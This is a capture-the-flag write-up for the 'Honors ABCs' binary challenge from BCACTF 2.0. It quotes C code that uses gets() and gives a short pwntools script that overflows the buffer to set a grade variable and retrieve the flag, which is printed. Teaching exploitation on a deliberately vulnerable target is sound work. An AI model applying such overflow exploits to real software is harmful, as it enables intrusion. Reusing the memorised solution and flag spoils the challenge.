# Honors ABCs
#### Category : binex#### Points : 75 points (254 solves)#### Author : Edward Feng
## ChallengeHere at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.
And by learning, we obviously mean testing. Don't cheat!
-   [honors-abcs.c](https://objects.bcactf.com/bcactf2/honors-abcs/honors-abcs.c)-   [honors-abcs](https://objects.bcactf.com/bcactf2/honors-abcs/honors-abcs)-   `nc bin.bcactf.com 49155`
## SolutionThis was a simple buffer overflow exploit.
#### Vulnerable code```cpp    puts("╔════════════════════════╗");    puts("║ THE QUIZ               ║");    puts("║                        ║");    puts("║ 1) Recite the alphabet ║");    puts("╚════════════════════════╝");    puts("");    printf("Answer for 1: ");    gets(response);
    for (int i = 0; i < 26; ++i) {        if (response[i] == 0)            break;        if (response[i] != correct[i])            break;
        grade = i * 4;    }````gets` is being used in the code, so we can overwrite the variable `grade` using it.
#### flag code```cppelse if (grade == 100) {        puts("Perfect score!");        puts("You are an model BCA student.");    } else {        puts("How did you end up here?");        sleep(2);        puts("You must have cheated!");        sleep(2);        puts("Let me recite the BCA plagarism policy.");        sleep(2);
        FILE *fp = fopen("flag.txt", "r");```
#### Getting flag.txtSo clearly, we don't need to assign a particular value to `grade` so we can just send a lot of `A`s and we should get the flag.
```python#!/usr/bin/python2from pwn import *host = "bin.bcactf.com"port = 49155s = remote(host, port)s.recvuntil("Answer for 1: ")s.sendline("A"*200)s.recvuntil("BCA plagarism policy.")print(s.recvuntil("bcactf{")[-7:] + s.recvuntil("}"))```
```bash$ python get_flag.py[+] Opening connection to bin.bcactf.com on port 49155: Donebcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}[*] Closed connection to bin.bcactf.com port 49155```
flag  : `bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}`
[Original Writeup](https://github.com/p1xxxel/ctf-writeups/tree/main/2021/BCACTF%202.0/Honors%20ABCs)